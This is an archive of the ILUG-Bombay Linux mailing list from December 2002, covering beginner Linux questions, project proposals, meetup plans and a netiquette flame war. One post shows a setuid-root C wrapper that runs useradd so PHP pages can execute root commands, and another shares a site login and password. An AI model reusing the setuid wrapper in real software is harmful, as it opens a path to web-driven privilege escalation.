Hi luggers, I Wanna know ways of detecting presence of java 2 plugin and its version before loading my applet. If user's browser does not conatin jva plugin he should be redirected to download it first. (applet should not load). How can I do this? One of my firends told me I can use Object tag for this. But in Netscape on Linux how can I do this? Thanks in advance. -Kshitij kshitijv e-mail: kshitijv(a)forindia.com

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problem with mounting of windows partition
by Pradnyesh Sawant 08 Dec '02

08 Dec '02

Hello, i currently have rhl 7.3 installed on my system. i added the foll line to "/etc/fstab" "/dev/hda1 /mnt/win vfat auto,owner,user 0 0" this change mounts the win partition in the partition in the directory /mnt/win with the permissions 755 & root as the owner so that no other user gets the write permission but i want to give write permission to my normal user account so i tried the foll line "/dev/hda1 /mnt/win vfat auto,owner,user,rw 0 0" but it does not work so i tried adding the foll line to "/etc/rc.d/rc.local" "chmod -R 777 /mnt/win" this only increased my boot up time, but did not solve the problem this way i have to log in as the root 2 do even small changes am facing a lot of problems this way plz help!! -- Best regards, Pradnyesh mailto:pradnyesh@gmx.net

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(commercail) linux hosting
by Harsh R Busa 08 Dec '02

08 Dec '02

Hi all, I m in need of 5-10 blocks of 10mb each of Linux based webspace. Please contact me via email OFF THE LIST , quoting your price, site url, will be nice if i cud get demo of control panel. etc Regards Harsh R Busa

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Wine, Dine and Network(tweak)ing
by Jeetu 08 Dec '02

08 Dec '02

Hey all, Am new to the list and relatively new to Linux in general, though have been using it as my primary OS for quite sometime now and luv it :) I'm using Debian 3.0 with kernel 2.4.18 and my research interest is in the field of Natural Language Processing (NLP) - a subset of AI. I have my open source project called Mother (http://mother.sourceforge.net) Have a few queries and would really appreciate if I could get some help on them : a) Over a period of time have been trying to follow the Wine project and it's progress. I'm quite impressed by it. Recently I've been trying to install Office 97 on it using wine-20021125 and the installation fails after it searches for installed components. Any ideas on how to get it goin?....and I use OpenOffice and just wanna see if I can get this going to guage the progress of Wine (basically trying to see how long it'd be before I can run my VB based inventory software at work which is currently under development under Linux....then I can run Linux at work :) ). The Wine newsgroup doesn't seem to respond to this, however there are ppl who say Office 97 is running for them....if anyone here knows how then i'd appreciate. b) I have a Realtek 8139 based NIC and it runs great. I'm using the BSES Powersurfer Broadband service. I get speeds similar to those I get under Windows and was wondering if there's tweaking I can do that'd help improve that. My network interface comes up during bootup as set in half-duplex mode....is that due to the card? or due to the network?? basically can I set this to full duplex? or is there any other way to significantly improve speeds. c) The Konqueror file browser upon trying to unzip a .tar.gz file seems to do it very very slowly, for huge files, when compared to the tar utility. Is that a bug or is there something i should do to set it right? d) Anyone here knows of any project (or app) that aims to bring Voice Chatting abilities to MSN clones under Linux. I know the aboves quite a long list of questions.....thanks a lot in advance for all the help. Bye for now

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Mailing list project.
by Amish Munshi 07 Dec '02

07 Dec '02

On Thursday 05 December 2002 10:18 am, bsf wrote: > hi all > > why not hack a working mailing list server ( say mailman ) to include this > functionality > by this we wdn't have to reinvent the wheel for actually building up a > mailing list prog .... > secoindly it could provide an option for traditional sending out emails > too ... for people who are behind a firewall and cannot pop access ... I am going to follow these basic rules. 1. Should use the same mailing list software and not try to reinvent the wheel by writing a new mailing list software. (This will include studying the present mailing lists softwares and their analysis) 2. Include POP as an option to it instead of forcing everyone to POP from the server. So POP will only be an feature and not a compulsion, list admins my diable this feature if required. 3. Support to reply to mails online - web based. (Online Yahoo groups or google groups for example). The interested programmers who have contacted me and I have managed to gather their info are: "Srinivasan. R" <cnu_28 {at} yahoo.com> "Aliasgar Dahodwala" <rock_ali {at} indiatimes.com> If anyone else interested (or I have missed theie name) then please get in touch with me at amish {at} munshi.dyndns.org. Documentation also has to be written so anyone keen on doing that part can also > > thirdly ... the time to the finished product wd be greatly reduced ... The software that is popular need not be better. The software that is better need not be popular. It is a matter of choice what you prefer, better or popular. Linux/GNU gives you choice and also is the best software today in the market, ever guessed how much does it cost? Amish K. Munshi. (IT Engg.) Registered Linux user 282018 at http://counter.li.org Homepage http://munshi.dyndns.org/~amish Email address amish {at} munshi.dyndns.org ICQ 85730949 === Never ask a geek why, just nod your head and slowly back away.===

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LUG meet
by Kamlesh Shah 07 Dec '02

07 Dec '02

Hi... all I may join you at the meet.. Regards Kamlesh Shah

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MBR / Partition table woes
by Chetan Vaity 07 Dec '02

07 Dec '02

Has anyone recoverd a partion table with a tool called "gpart". This tool scans the entire disk block by block looking for partition begin patterns. The guesses can then be used to recreate the partition table by hand. A friend of mine wanted to reinstall Win2000 on a dual boot machine. The (fateful) sequence of events: --------------------------------- 1. I copied the first sector of /dev/hda to a file /root/MBR.grub using dd. 2. Booted from the Win2K CDROM and installed Win2K. 3. Try booting. No grub. Directly goes on and boots Windows. 4. Booted from RedHat 7.3 CDROM, entered rescue mode. It recognised the existing linux partitions. Copied the first sector of /dev/hda to /root/MBR.win, again using dd. Then copied the /root/MBR.grub to /dev/hda. 5. Try booting. Grub appears. Enter Linux choice - boots Linux properly. But when Windows is selected in grub, it pops up Grub again. 6. Again booted using RedHat CDROM. Copied /root/MBR.win to /dev/hda. 7. Try booting. Nothing. Just a blank screen. No error messages. 8. Panic. 9. Try booting using RedHat CDROM. Now it doesn't find any Linux partitions. Only raw device /dev/hda available. 10. Panic! 11. Compile "gpart" on another machine and transferred it to this m/c using a floppy. (in Linux rescue mode). Started gpart. I will try and get the output of gpart and post it here. Any help, advice will be appreciated. - Chetan

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Removing prefix from subject
by Gautam Mani 07 Dec '02

07 Dec '02

Hi all, I have been using Linux for more than 3 years now, and joined this mailing list around 2 weeks back. I have a small suggestion. Can we remove the [ILUG-BOM] prefix in the subject of all mails in the list as it reduces readability in the index of messages. Is there any specific reason why it exists? It would be cool if someone could point that out. To make my point clear, checkout the two screenshots of my mailer (taken on ilug-bom and the mutt-users mailing list) 1. ilug-bom linuxers: http://www.execve.net/showcase/ilug-bom.png 2. mutt-users: http://www.execve.net/showcase/mutt-users.png As you all can clearly see, it not only reduces readability, but also hurts the eyes (as a matter of speaking). Thoughts/Comments? Cheers, Gautam -- Gautam Mani <execve_at_execve_dot_net> Don't be a slave! Use the Door -- use Linux. Secure-Key: [ A7E6 795F AF8D 91AF 1D5E 3CC5 7847 7DCC 7586 EF34 ]

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Linux Localization Professionals
by Satish Mohan 07 Dec '02

07 Dec '02

Hi, We at Red Hat are on the localization project for Indian languages for Linux. Though a lot of work has been done by various bodies the same needs to be coordinated and channelized.we are putting in place a team towards that. We are looking for experienced linux programmers with background on fonts and keyboard maps development (preferably). Kindly contact me off list regards satish -- ---------------------------------------------------------------------- - Satish Mohan Tel : +91-22-2853452 - - Enterprise Consultant Mob : +91-98210-57213 - - Red Hat India (www.in.redhat.com) Fax : +91-22-2845343 - ----------------------------------------------------------------------

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User wise Disk Usage across the entire Hard drive
by Asif Shaikh 06 Dec '02

06 Dec '02

Hi, We've ported our file server to RedHat 7.3 now being used as a domain controller on my office LAN. I need to get a report of user wise disk usage in the entire Hard Drive, not only in the users home folders. Is there any command/monitoring tool that can help me get this info? Rgds, Asif

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Article:A Beginner's guide to Linux
by Hanisha Vaswani 06 Dec '02

06 Dec '02

hi, came across an interesting article on NY Times which deals with common Linux queries. It is a real eye-opener... sort of 'how the rest of the world STILL feels abt. Linux'. http://www.nytimes.com/2002/12/05/technology/circuits/05POGUE-EMAIL.html?8c… the site requires you to be registered (which is Free) to view the article. hanisha __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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Regd. NYT article
by Hanisha Vaswani 06 Dec '02

06 Dec '02

have created a userid on NY Times for anyone interested in reading the Linux article mentioned in my previous mail. UId: ilug_bom Passwd: bombay best, hanisha __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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Parsing with Perl
by DalelAmari＠aol.com 06 Dec '02

06 Dec '02

My name is Dalel. I have 441 emails in txt format. how can I process them in perl and then put the content in mysql database. In mysql databse, I need to have the following fields: date subject from to cc text (body) Thank you Dalel

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Re: [ILUG-BOM] meeting in KReSIT on 8th
by sameer shinde 06 Dec '02

06 Dec '02

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linux lunacy.... whats up??
by Gurpreet Singh 06 Dec '02

06 Dec '02

hi guys there's no talk abt linux lunacy these days up here.... is it still a plan, or has it been scrapped??? i wish not! What all talks are gonna be included? plz keep us updated fellows. regards Gurpreet Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------------------------------- M A K E Y O U R O W N R O A D --------------------------------------------------------------------

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Re: [ILUG-BOM] Fwd: Agenda for the LUG meet
by Ashish Kulkarni 06 Dec '02

06 Dec '02

> > >I would like to have an arrangement where we can show the installation of >Debian or gentoo (if time permits), and a lecture on using emacs. Anyone who >can do this? > > > gentoo? do you have Gentoo 1.4 and some basic apps downloaded? then I'd like to buy, borrow, or steal those CDs when we meet :-) Regards, - A.

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Re: [ILUG-BOM] Any one interested in doing Mailing list project.
by Ashish Kulkarni 06 Dec '02

06 Dec '02

> [storing mail on the mailing list server, retrieval by POP3, instead > of sending it out via SMTP as god intended] > > You do realise that you're re-inventing Usenet? hmm, I know it does sound similiar to newsgroups (aside from the protocol: NNTP vs POP3) but the key difference is that only people on the list can send mail (which I think is the default) against everyone allowed or moderation by one or more persons on newsgroups. What I really think this idea is useful for is to use an existing mailing list software eg. Mailman, and to modify an exisiting option on it: (disable delivery :: on/off) to something like (Mail Delivery:: On/POP3/Off). So those who want can still get SMTP messages, those who don't want can disable mails totally. The killer app is when you are away for a time, and turn POP3 on for the duration. When you get back, just download the messages for the duration from POP3; this means your real mailbox is never full or don't receive soemthing like 200 messages which is quite possible ;-) And if you disable you cannot get them at all, and have to browse from the web or something. so best of both worlds :-) I'd like to help for this idea, but as I suspect Mailman is in Python it'll take a bit of time to get used to it and I'll do it after my exams, something like after Jan 15. imho there is no point in writing something new, it may not be as well tested or known, just modify some already existing and working software (Mailman) to do what we need :-) Regards, - A. ---------------------------------------------------- There is no stability in life, but only opportunity.

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Re: [ILUG-BOM] Any one interested in doing Mailing list project.
by Aliasgar Dahodwala 05 Dec '02

05 Dec '02

hi, i am interested in your project... please get in touch with me on rock_ali(a)yahoo.com bye Ali <final year comp eng student> linuxers(a)mm.ilug-bom.org.in wrote: Hello all, This mai is for the PRC, I am posting it to ILUG so that I can get comments on this idea. I would like being a mentor/guide for this idea of mine, I hope that some of you do really like to impliment this and get in touch with me. This is a pretty big project and will require atleast 4 people to participate, I will manage even if there is no prior experince in any programming languages, however I would like if you understand programming atleast. The preffered language for the implimentation of this will be C++, or JAVA. The project goes like this. Today mailing lists function this way. A mail is sent to mailing list server and the server tries to send the mail to everyone who has subscribed, this is a very big overhead on the mailing lists servers since for each received mail, it has to send hundreds or thousands of mails all across the globe on the internet, ofcourse many times the deleivary is not completed in the first attempt as well. There is a very obvious solution to this, is provide a pop account on this very same mailing list server for each member, this is although a good solution is not very practical since multiple copies of a message need to me maintained, one for each member and the memory required on the server will rise exponentially. The solution that I have though is, the mailing list server maintains a index of all the available messages it has received right from the time the server started functioning, whenever a member wants to receve mails then he can connect to the mailing list server using his normal POP client and the server will respond back using the POP protocol. The server will not have a normal POP server running but will actually be a part of the mailing list software that can provide virtual POP, now for each member of the mailing list there will be a index maintained by the mailing list server. In this index there will be account of the messages that the member has not yet received, only those messges will be given to him as new messages. Get in touch with me using the mailning lists, since it is a good way to communicate for some new ideas like this one. Thanks for your interest. Bye. Amish K. Munshi http://munshi.dyndns.org/~amish ICQ 85730949 _______________________________________________ http://mm.ilug-bom.org.in/mailman/listinfo/linuxers Get Your Private, Free E-mail from Indiatimes at http://email.indiatimes.com Buy Music, Video, CD-ROM, Audio-Books and Music Accessories from http://www.planetm.co.in Change the way you talk. Indiatimes presents "Valufon", Your PC to Phone service with clear voice at rates far less than the normal ISD rates. Go to http://www.valufon.indiatimes.com. Choose your plan. BUY NOW.

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Extracting data from a .GDB file
by Kapil Karekar 05 Dec '02

05 Dec '02

Hi Luggers...:-)) I have a .GDB file containing some data. I want to extract that data to a MySQL database or to a flat file. I have never worked with a .GDB file. Some amount of googlizing had led me to believe that .GDB extension is used by Interbase for its database files. How do I get the data out of that GDB file? I don't have Interbase installed on my Linux m/c. Can I still access the data in the file? Regards Kapil Karekar ---------------------------------------- Let's build a Free Software Economy ----------------------------------------

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TIS firewall toolkit problem
by kishor bhagwat 05 Dec '02

05 Dec '02

hello guys, i have installed TIS fwtk 2.1 on my redhat6.2 kernle 2.2.19 box i have configured the plug-gw in the netperm-table as plug-gw: port pop3 * -plug-to 10.1.201.1 -port pop3 this is basically to allow access from all IP addresses my DNS is configured properly however for each and every request access is denied Dec 5 10:10:25 cache plug-gw[11638]: nbm_core_fullmesh/210.140.153.131 host nam e lookup failed Dec 5 10:10:25 cache plug-gw[11638]: deny host=unknown/210.140.153.131 service= pop3 (dummy ip given here;-) hwowver the ip address is perfectly reverse resolvable in the DNS yet im getting access denied errors the connection is dropped after the initail TCP handshake any ideas regds, Kishor __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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Re: [ILUG-BOM] Any one interested in doing Mailing list project.
by Gurpreet Singh 05 Dec '02

05 Dec '02

On Wed, 04 Dec 2002 Amish Munshi wrote : >Hello all, > > This mai is for the PRC, I am posting it to ILUG so that I can >get comments >on this idea. > > I would like being a mentor/guide for this idea of mine, I hope >that some of >you do really like to impliment this and get in touch with me. > This is a pretty big project and will require atleast 4 people >to >participate, I will manage even if there is no prior experince in >any >programming languages, however I would like if you understand >programming >atleast. The preffered language for the implimentation of this >will be C++, >or JAVA. > The project goes like this. > >Today mailing lists function this way. > >A mail is sent to mailing list server and the server tries to >send the mail to >everyone who has subscribed, this is a very big overhead on the >mailing lists >servers since for each received mail, it has to send hundreds or >thousands of >mails all across the globe on the internet, ofcourse many times >the deleivary >is not completed in the first attempt as well. > >There is a very obvious solution to this, is provide a pop >account on this >very same mailing list server for each member, this is although a >good >solution is not very practical since multiple copies of a >message need to me >maintained, one for each member and the memory required on the >server will >rise exponentially. > >The solution that I have though is, the mailing list server >maintains a >index of all the available messages it has received right from >the time the >server started functioning, whenever a member wants to receve >mails then he >can connect to the mailing list server using his normal POP >client and the >server will respond back using the POP protocol. The server will >not have a >normal POP server running but will actually be a part of the >mailing list >software that can provide virtual POP, now for each member of the >mailing >list there will be a index maintained by the mailing list server. >In this >index there will be account of the messages that the member has >not yet >received, only those messges will be given to him as new >messages. [snip] doubts -------- 1.still the server has to maintain all the mails, as it has to make archives, that anyways takes up memory?? 2. while maintaining the index no, after sometime this number will scale upto high values and keep growing. after certian amnt of time, the inbuilt datastructures will not be able to hold the no. and thus we will have to store it in a userdefined structure like an array or a linked list... thats it. although i wont be able work on this project now as i am doing one already! but i can provide help in designing the data structure for the index as am working on something like that... regards Gurpreet Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------------------------------- M A K E Y O U R O W N R O A D --------------------------------------------------------------------

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Any one interested in doing Mailing list project.
by Amish Munshi 05 Dec '02

05 Dec '02

Hello all, This mai is for the PRC, I am posting it to ILUG so that I can get comments on this idea. I would like being a mentor/guide for this idea of mine, I hope that some of you do really like to impliment this and get in touch with me. This is a pretty big project and will require atleast 4 people to participate, I will manage even if there is no prior experince in any programming languages, however I would like if you understand programming atleast. The preffered language for the implimentation of this will be C++, or JAVA. The project goes like this. Today mailing lists function this way. A mail is sent to mailing list server and the server tries to send the mail to everyone who has subscribed, this is a very big overhead on the mailing lists servers since for each received mail, it has to send hundreds or thousands of mails all across the globe on the internet, ofcourse many times the deleivary is not completed in the first attempt as well. There is a very obvious solution to this, is provide a pop account on this very same mailing list server for each member, this is although a good solution is not very practical since multiple copies of a message need to me maintained, one for each member and the memory required on the server will rise exponentially. The solution that I have though is, the mailing list server maintains a index of all the available messages it has received right from the time the server started functioning, whenever a member wants to receve mails then he can connect to the mailing list server using his normal POP client and the server will respond back using the POP protocol. The server will not have a normal POP server running but will actually be a part of the mailing list software that can provide virtual POP, now for each member of the mailing list there will be a index maintained by the mailing list server. In this index there will be account of the messages that the member has not yet received, only those messges will be given to him as new messages. Get in touch with me using the mailning lists, since it is a good way to communicate for some new ideas like this one. Thanks for your interest. Bye. Amish K. Munshi http://munshi.dyndns.org/~amish ICQ 85730949

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TCP/IP stack info reqd
by Pradnyesh Sawant 04 Dec '02

04 Dec '02

Hello, plz help me with the TCP/IP stack as implemented on a linux box my be project requires it u cud send me links where i cud get info on the reqd topic THANX! -- Best regards, Pradnyesh mailto:pradnyesh@gmx.net

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relay deny to authenticated users
by mails＠munshi.dyndns.org 04 Dec '02

04 Dec '02

Hi, I just realized that uu.net (appear so me to be an ISP) has many spamers are their clients. I am wondering what is the solution to this. If a spammer will signup for a account from uu.net then he can authenticate himself and send spams to many people. How can uu.net stop this? It appears to me that uu.net is listed as a spaming domain (sorry for this slang language but I do not have the proper term for this) and mails from this domain are not accepted if we disable the mail delivery from blacklisted domains. How can I as a sysadmin make sure that uu.net spams are not welcomed but genuine users from uu.net are no problems. Thanks in advance. Bye.

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linux cross reference
by Kiran Nadgir 04 Dec '02

04 Dec '02

good site for browsing the code... http://lxr.linux.no ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ " If I have seen farther than other men, it is because I stood on the shoulders of giants." Sir Isaac Newton ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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[OT] Availability of OpenBSD CDs / ISOs ??
by Vishal Belsare 04 Dec '02

04 Dec '02

Can anyone tell me where I can procure OpenBSD CDs for i386 ? I have checked on linuxplaza.org, they've FreeBSD on offer. Or if anyone has OpenBSD CD's for i386 which they could lend? V i s h a l . ____________________________________ He is subtle, but not malicious. ~ Albert Einstein.

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purging the archives of "privileged and confidential" messages
by Sameer D. Sahasrabuddhe 03 Dec '02

03 Dec '02

Here's an example: http://mm.ilug-bom.org.in/pipermail/linuxers/Week-of-Mon-20021125/007744.ht… ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Obviously we are disclosing, copying and distritbuting this message by storing it in our publicly accessible web archive. Shouldn't we be removing all such messages? Not to mention the fact that the message was meant for "a specific individual" ... we are anything but that :-) Sameer. -- MTech Student, Reconfigurable Computing Lab, KReSIT, IIT-Bombay. ---------------------------------------------------------------------- You'll wish that you had done some of the hard things when they were easier to do.

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Re: [ILUG-BOM] When is this months LUG meet
by sameer shinde 03 Dec '02

03 Dec '02

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[OT] Indiatimes Article "Windows servers cheaper ... "
by Nikhil Kale 03 Dec '02

03 Dec '02

Check out this article: http://timesofindia.indiatimes.com/cms.dll/html/comp/articleshow?artid=3012… Whats the catch?? Nikhil Kale Software Engineer. Mahindra British Telecom Ltd. NikhilKale(a)linuxmail.org NikhilKale(a)indiatimes.com -- ______________________________________________ http://www.linuxmail.org/ Now with POP3/IMAP access for only US$19.95/yr Powered by Outblaze

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[OT] We have the way out????
by Nikhil Kale 03 Dec '02

03 Dec '02

Somebody ought to do something about this: http://wehavethewayout.com/ Nikhil Kale Software Engineer. Mahindra British Telecom Ltd. NikhilKale(a)linuxmail.org NikhilKale(a)indiatimes.com -- ______________________________________________ http://www.linuxmail.org/ Now with POP3/IMAP access for only US$19.95/yr Powered by Outblaze

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Agenda for the LUG meet
by kapil_karekar＠vsnl.net 03 Dec '02

03 Dec '02

Hi Amish ! Could you send me the agenda for the LUG meet. I can then put it up on the ILUG-BOM site. Cheers Kapil Karekar

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Poll for location
by Amish K. Munshi 03 Dec '02

03 Dec '02

Hi, I have created a poll for the preffered location of meetings. Please visit http://munshi.dyndns.org/~amish/polls/ and post your poll. Thanks. Bye.

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Wine,Dine and Network(tweak)ing
by Jeetu 03 Dec '02

03 Dec '02

Hey all, Am new to the list and relatively new to Linux in general, though have been using it as my primary OS for quite sometime now and luv it :) I'm using Debian 3.0 with kernel 2.4.18 and my research interest is in the field of Natural Language Processing (NLP) - a subset of AI. I have my open source project called Mother (http://mother.sourceforge.net) Have a few queries and would really appreciate if I could get some help on them : a) Over a period of time have been trying to follow the Wine project and it's progress. I'm quite impressed by it. Recently I've been trying to install Office 97 on it using wine-20021125 and the installation fails after it searches for installed components. Any ideas on how to get it goin?....and I use OpenOffice and just wanna see if I can get this going to guage the progress of Wine (basically trying to see how long it'd be before I can run my VB based inventory software at work which is currently under development under Linux....then I can run Linux at work :) ). The Wine newsgroup doesn't seem to respond to this, however there are ppl who say Office 97 is running for them....if anyone here knows how then i'd appreciate. b) I have a Realtek 8139 based NIC and it runs great. I'm using the BSES Powersurfer Broadband service. I get speeds similar to those I get under Windows and was wondering if there's tweaking I can do that'd help improve that. My network interface comes up during bootup as set in half-duplex mode....is that due to the card? or due to the network?? basically can I set this to full duplex? or is there any other way to significantly improve speeds. c) The Konqueror file browser upon trying to unzip a .tar.gz file seems to do it very very slowly, for huge files, when compared to the tar utility. Is that a bug or is there something i should do to set it right? d) Anyone here knows of any project (or app) that aims to bring Voice Chatting abilities to MSN clones under Linux. I know the aboves quite a long list of questions.....thanks a lot in advance for all the help. Bye for now

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Re: Re: [ILUG-BOM] how bout a free os anthem??
by Gurpreet Singh 03 Dec '02

03 Dec '02

On Mon, 02 Dec 2002 Philip S Tellis wrote : >On 1 Dec 2002, Gurpreet Singh wrote: > > > how bout an anthem for the movement?? > >http://geektones.com/gm/tm/alt_bluescreen.htm [snip] oh plz dear! we have to be "pro linux" i think we are concentrating more on being "anti M$"... i wanted to say this all the while, but did'nt. ppl, why do have to be soooooooooo anti M$. lets leave them alone. we have a betta thing with us, lets be more of "pro linux" regards gurpreet > >-- >You need more time; and you probably always will. > > >_______________________________________________ >http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/ Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------------------------------- M A K E Y O U R O W N R O A D --------------------------------------------------------------------

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SUID, c shell script
by mails＠munshi.dyndns.org 02 Dec '02

02 Dec '02

Hello all, Approx a week back I got the info that I need to use a C program to execute a command a root for web scripts (PHP). I have given that a try, I created a addnewhost.cpp : #include <stdlib.h> int main() { system("/usr/sbin/useradd newusernewuser"); return 0; } Compiled, linked and suid it as (Did this as root) g++ -c addnewhost.cpp g++ -o addnewhost.bin addnewhost.o chown root.root addnewhost.bin chmod 4755 addnewhost.bin But when I try to run the addnewhost.bin as a normal user it says useradd: unable to lock password file But runs fine as root. Any clues where should I go next. All I need to do is execute some command as a superuser but from a PHP page. Thanks in advance. Bye.

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Re: [ILUG-BOM] Software license tied to human rights
by Kiran Nadgir 02 Dec '02

02 Dec '02

> Message: 8 > From: Bhargav Bhatt <bhargav.bhatt(a)columbia.edu> > Organization: Columbia University > To: linuxers(a)mm.ilug-bom.org.in > Subject: Re: [ILUG-BOM] Group urges limits on open source > Date: Fri, 29 Nov 2002 03:17:31 -0500 > Reply-To: linuxers(a)mm.ilug-bom.org.in > > Kiran Nadgir wrote: > > <nothing new> ---8<--- Yes yes nothing new.....nice to know that luggers are more interested in showing off their intelligence (egos actually) on the way msgs are posted rather than on the msg. Which gets me to ask myself a question....do these great intelligent people really care about GNU/Linux and this mailing list or do they care more about showing off their egos here. Yes i could've posted a link to the article instead of cutting and pasting the whole thing. BUT i pasted it because last time i had posted some link i had got a reply that the site required a passwd etc. So just to make sure no one faces any problems i pasted the WHOLE article. This takes me to another topic, Major problems in the world exist because people don't percieve things in the same way. Everyone has their own point of view about things. Even i have one but most of the times i don't let my EGO blurr the actual view. So yes i agree that i have posted mails with an unacceptable "signal to noise ratio" and i have changed that. But sometimes rather than following the HERD and coming up with such comments on someone you should try and think about all the possible reasons for a person to do something. And in this case i don't think i have done anything wrong . But as they say advice is something the wise don't give and the fools don't take ( i know people will reply to this specific statement of mine (thats my perception :) ) Yes i have realized that my mail signatures were unncessarily HUGE and have reduced it. But if someone still wants me to teach netiqutte this is what i would have to say to that person. @#!@#!#! > Kiran, > =09Whats the point of just copying and pasting from websites and filling=20 > up our mailboxes? You would be far better off providing a short=20 > paragraph and a URL for the article.=20 ---8<--- Yes my dear friend i could've been better off..but i did this with a reason. and i really don't care what you have to say. > =09Also, by not making a mention of your source, you are violating the=20 > copyright rights of cnet.com. Quoting their website, "Re-use of any of=20 > CNET's editorial content and graphics online for any purpose is=20 > strictly prohibited. The materials from CNET's sites are available for=20 > informational and noncommercial uses offline only, provided the content=20 > and/or graphics are not modified in any way, all copyright and other=20 > notices on any copy are retained, and permission is granted by CNET.".=20 > =09Please don't provide illegal(assumiing you have not obtained explicit=20 > permission from the source) documents on the mailing list and make us a=20 > part of the *crime*. > =09Also, the disclaimer attached to the email states that "This message=20 > (including any attachments) contains confidential information intended=20 > for a specific individual and purpose". Does that not make your email=20 > totally useless for any mailing list with more than one member. It=20 > means that this email was meant only for the person who uses the=20 > address linuxers(a)mm.ilug-bom.org.in, and that all the rest of us=20 > getting this message should "delete this message". Also the disclaimer=20 > makes linuxers(a)mm.ilug-bom.org.in, or whoever the list admin is, a=20 > criminal because the disclaimer also states that "copying, or=20 > distribution of this message, or the taking of any action based on it,=20 > is strictly prohibited." ----8<---- <NOTHING NEW> I have already mentioned about this one my dear friend. If you don't want me on the list u can unsubscribe me anytime ......I am using my corp id because its convinient AND AGAIN FOR YOUR CONVINIENCE....THE GUIDELINES OF THIS LIST DON'T TALK ANYTHING ABOUT DISCLAIMERS. SO either make sure the guidelines are changed or just stop displaying your intelligence on this topic. > > For those who want to read the article in its original form, its=20 > available at the following link > > http://news.com.com/2100-1001-975578.html?tag=3Dfd_top > -----8<---- Thanks for the link ....:) that was nice. > Bhargav Bhatt, > Department of Applied Physics and Applied Mathematics, > Columbia University. > -- > "If English was commutative, we could all talk like Yoda." - Anonymous. > > > --__--__-- Message: 12 Date: Fri, 29 Nov 2002 01:36:25 -0800 (PST) From: kishor bhagwat <aaaaarrrgghhh(a)yahoo.com> Subject: Re: [ILUG-BOM] Software license tied to human rights To: linuxers(a)mm.ilug-bom.org.in Reply-To: linuxers(a)mm.ilug-bom.org.in > --- Kiran Nadgir <kirann(a)mahindrabt.com> > wrote:(nah..pasted) ---8<--- yes yes i pasted is that such a BIG problem ??? > err..some ppl have already gently suggested some good > things abt ur postings and mail sigs etc.. -----8<---- so whas u gonna try next my dear friend ??? I have a suggestion for LUG. The homepage should say. Welcome to GNU/LUG EGOISTS Users Group of Mumbai! because thats what is going on in this list most of the times....everyone has such a big EGO...cant u ppl for once let things be and just FOCUS on the message rather than the sender of the message. There are a lot of constructive stuff to be done rather than this EGO trips that keep happening. What are you guys trying to prove to each other. This mailing list is like the GOVERNMENT OF INDIA....most of the times rather than FOCUSSING on the issue...the FOCUS is on who created the issue...how dare he create the issue...why didnt he do it this way..this is how its to be done.....O CMONN...gimme a break....come out of this if u really want to do something for GNU/LINUX....don't worry so much about showing off ur intelligence through comments on how ppl are doing things......i believe all u ppl must be great techies..and thats what u shud be doing....focussing on what u r supposed to do.... and if anyone else has any problems with me cut pasting stuff or my mails...i'd want to be unsubsribed from this list. Thanks for teaching me a few things on netiqutte...but i guess a lot of people here have a lot to learn.... What they need to learn is understood i hope.... > what kinda ppl are MBT hiring nowadays? -----8<--- Atleast not the stupid kind like you. And listen kishor...u better not get personal on this one.....Is this what the entire LUG is all about... MUD slinging matches.....welll .....i hope u never have a Linux-Bombay...with such people....because it'll be more of an EGO Flashing trip than anything else.....I thought the lug had people who were above average in intelligence..but what i see is bunch of kiddos..fighting with each other. I hope this changes someday....And as for u kishor....u sound like u r constipated with that id of urs.....why dont u try some Isabgol... :) > > regds, > aaaaarrrgghhh > -----8<---- Freedom - Hehhehehehheehee. > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up now. > http://mailplus.yahoo.com > > > > --__--__-- > > _______________________________________________ > > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > > > > End of Linuxers Digest > ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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Re: Re: [ILUG-BOM] is India IT Club Newsletter useful for us?
by Gurpreet Singh 02 Dec '02

02 Dec '02

On Mon, 02 Dec 2002 Philip S Tellis wrote : >On 30 Nov 2002, Gurpreet Singh wrote: > > > http://www.geocities.com/tonysingh4u/Ind_IT_Club_Nletter.doc >cud > >Word Doc??!! Why? Aren't there any _better_ alternatives? [snip] the person who compils this uses windows. i cant help that... gurpreet > >-- >The last thing one knows in constructing a work is what to put >first. > -- Blaise Pascal > > >_______________________________________________ >http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/ Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------------------------------- M A K E Y O U R O W N R O A D --------------------------------------------------------------------

